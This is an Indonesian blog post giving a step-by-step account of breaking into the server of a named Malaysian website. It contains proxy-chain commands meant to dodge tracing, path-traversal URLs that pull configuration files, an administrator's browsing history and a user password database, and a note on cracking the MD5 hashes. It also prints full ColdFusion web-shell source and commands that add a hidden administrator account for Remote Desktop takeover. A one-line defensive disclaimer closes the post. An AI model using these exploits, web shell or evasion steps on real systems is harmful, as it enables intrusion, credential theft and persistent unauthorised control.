Darkside of Oktavianus

Making virus and all of them as our friends

Studi Kasus kelemahan Server Situs www.rasasayang.com.my

Posted by oktavianus pada November 4, 2007

Situs www.rasasayang.com.my secara sekilas terlihat tidak memiliki bug yang cukup berarti untuk dieksploitasi oleh hacker. Namun ternyata masih terdapat celah yang bisa dieksploitasi. Berikut ini langkah-langkah yang dilakukan untuk membobol server ini.

1. Persiapan hacking
2. Pemeriksaan bug
3. Mendownload source code dan file konfigurasi
4. Mengupload file explorer dan windows shell command interface
5. Mengambil-alih server

Saya akan menjelaskan langkah-langkah di atas satu per satu.

1. Persiapan hacking
Sebelumnya Anda harus memiliki list proxy server yang mendukung proxy-chain untuk menghindari pelacakan. Anda harus mengkoneksikan sekurang-kurangnya 2 anonymous proxy server di 2 negara yang berbeda. Anda dengan mudah mendapatkan proxy server di search engine Google. Namun bila Anda menemukan lebih banyak transparant proxy server, gunakan 3 transparant proxy server yang mendukung chain, dan rutekan koneksinya melintasi beberapa negara, misalnya: Brazil – China – India, sehingga bila dilacak oleh “Pengejar Hacker” maka mereka hanya akan melacak koneksi dari ISP Indonesia ke China.
Pada sistem operasi windows, anda dapat menggunakan software mungil bouncer.exe untuk melakukan proxy-chain melalui parameter tunneling. Contoh dengan IP lokal 192.168.0.5:

bouncer –bind 192.168.0.5 –port 8881 –tunnel 82.0.0.1:8080 –destination 221.0.0.1:8080
bouncer –bind 192.168.0.5 –port 8882 –tunnel 192.168.0.5:8881 –destination 200.0.0.1:3128

Pada contoh di atas, bila kita mengeset proxy pada internet browser menjadi 192.168.0.5:8882 maka koneksi kita akan dirutekan melalui proxy server: 82.0.0.1:8080 -> 221.0.0.1:8080 -> 200.0.0.1:3128 -> http://www.rasasayang.com.my

Karena kita menggunakan transparant proxy server maka IP 221.0.0.1 juga akan terlacak. Namun ini tidak masalah karena kita sebenarnya terkoneksi dari proxy server 82.0.0.1.

2. Pemeriksaan bug
Pemeriksaan dilakukan secara trial and error pada setiap parameter yang diperkirakan mengandung bug. Pada kasus ini terdapat bug pada module downloading file untuk mendownload file .mp3 dengan URL:

http://www.rasasayang.com.my/index.cfm??dir=download&menu=home&task=dl_comm&cfile=

Dari parameter di atas terlihat file dl_comm.cfm terletak pada folder download. Sekarang kita coba secara langsung mengeksekusi pada file .cfm tersebut dan menyisipkan parameter querystring cfile untuk mendapatkan source codenya.

http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\download\dl_comm.cfm

Ternyata hasilnya adalah file source code dl_comm.cfm. Berikut ini adalah bagian penting dari source code tersebut.

<cfheader name=”Content-Disposition” value=”attachment; filename=#cfile#”>
<!—<cfcontent type=”audio/mpeg3,video/mpeg” file=”#abs_dir#_mp3\#cfile#”>—>
<cfcontent type=”unknown/unknown” file=”#abs_dir#_mp3\#cfile#”>

Dari source code ini kita bisa menemukan bahwa terdapat parameter querystring abs_dir dan cfile yang bisa mengarahkan kita untuk mendownload file apa saja dari harddisk server.

3. Mendownload source code dan file konfigurasi

Kita jejaki setiap link di dalam source code-nya, kemudian kita download. Misalnya:

http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\application.cfm
http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\index.cfm

Dari kumpulan file inilah kemudian kita mendapatkan bocoran source code situs http://www.rasasayang.com.my yang telah diberitakan sebelumnya di situs ini.

Selanjutnya kita download file konfigurasi web servernya dengan cara berikut:

File konfigurasi IIS:
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\&CFILE=..\WINDOWS\system32\inetsrv\MetaBase.xml

File konfigurasi CFM:
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\&CFILE=..\CFusionMX7\lib\neo-query.xml

File History Internet Explorer untuk Administrator
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\&CFILE=..\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat

Dari file Metabase.xml kita dapat mengetahui bahwa terdapat beberapa situs web yang hosting di server ini.
http://www.powerofpaytv.com, http://www.thepowerofpaytv.com yang terletak di E:\webuser\web\powerofpaytv.com
http://www.jedrealty.com yang terletak di E:\webuser\web\jedrealty.com
http://www.rasasayang.com.my yang terletak di E:\webuser\web\rasasayang.com.my

Dari file index.dat kita dapat mengetahui bahwa Administrator melakukan proses administrasi upload dan download file dengan mengunjungi http://www.powerofpaytv.com/cometadvance/

Dari file neo-query.xml kita dapat mengetahui file database pengguna terletak di E:\webuser\web\powerofpaytv.com\_db\dcm_casbaa_db.mdb yang dapat kita download melalui:
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=E:\&CFILE=..\webuser\web\powerofpaytv.com\_db\dcm_casbaa_db.mdb

Dari file dcm_casbaa_db.mdb ini kita memperoleh user-id dan password dalam bentuk MD5 hash. Dengan menggunakan software decryptor misalnya Cain & Abel kita dapat mendecyrpt passwordnya.

4. Mengupload file explorer dan windows shell command interface
Dari http://www.powerofpaytv.com/cometadvance/ kita dapat mengupload file explorer misalnya ASF File Explorer yang dibuat oleh Nahuel Foronda and Laura Arguello. Dengan ASF File Explorer, kita dapat membrowse file di harddisk secara lebih leluasa, serta meng-upload, download dan delete file.

Untuk windows shell command interface, kita buatkan file.CFM dengan script berikut:

<cfparam name=”strRun” default=””><cfparam name=”strArg” default=””><cfparam name=”cmdResult” default=””>
<cfif strRun neq “”>
<cfsavecontent variable=”cmdResult”><cfexecute name=”#strRun#” arguments=”#strArg#” timeout=”5″></cfexecute></cfsavecontent>
</cfif><HTML><BODY style=”font-size: 9pt; font-family: ‘Courier New'”>
<cfform name=”frmShell” action=”” method=”post”>
<cfinput type=”text” name=”strRun” value=”#strRun#” required=”yes” message=”Please enter your command.” maxlength=”255″>
<cfinput type=”text” name=”strArg” value=”#strArg#” required=”no” maxlength=”255″>
<input name=btnG type=submit value=”Execute”>
</cfform><cfoutput>
#Replace(Replace(Replace(‘#cmdResult#’, ‘<‘, ‘&lt;’, ‘all’), ‘>’, ‘&gt;’, ‘all’), Chr(10), ‘<br>’, ‘all’)#
</cfoutput></BODY></HTML>

5. Mengambil-alih server
Kita dapat menambahkan user login windows (group administrator) dengan mengeksekusi perintah berikut pada windows shell command interface.

NET USER mbahjambon mypassword /ADD /ACTIVE:YES /EXPIRES:NEVER /PASSWORDCHG:YES
NET LOCALGROUP Administrators mbahjambon /ADD

Dengan menggunakan Windows Remote Desktop kita dapat mengambil alih servernya (IP 202.157.176.17). Koneksinya tetap dilakukan melalui proxy tunneling seperti contoh berikut:

bouncer –bind 192.168.0.5 –port 8883 –tunnel 82.0.0.1:8080 –destination 221.0.0.1:8080
bouncer –bind 192.168.0.5 –port 8884 –tunnel 192.168.0.5:8883 –destination 202.157.176.17:3389

sehingga kita dapat meremote server melalui Remote Desktop pada alamat: 192.168.0.5:8884

Demikian cara yang digunakan untuk membobol server situs http://www.rasasayang.com.my. Dengan membaca tulisan ini, mudah-mudahan para pembaca dapat menghindari bug sejenis pada server Anda.

S. Kelana

2 Tanggapan to “Studi Kasus kelemahan Server Situs www.rasasayang.com.my”

  1. Risky said

    kk kelana (iya bkn?) saya dari dulu itu cari program bouncer tapi ga pernah ketemu, nah tadi pas lgi browsing2 nemu situs ini n kk pk bouncer. Bisa minta link download software bounce-nya? dulu sy pny tp hlg cz HD rusak n skrg itu dah ssh bgt cari program bahkan source codenya.

    atas responnya terima kasih

  2. bob said

    jBvRX2 hi nice site thx http://peace.com

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

 
%d blogger menyukai ini: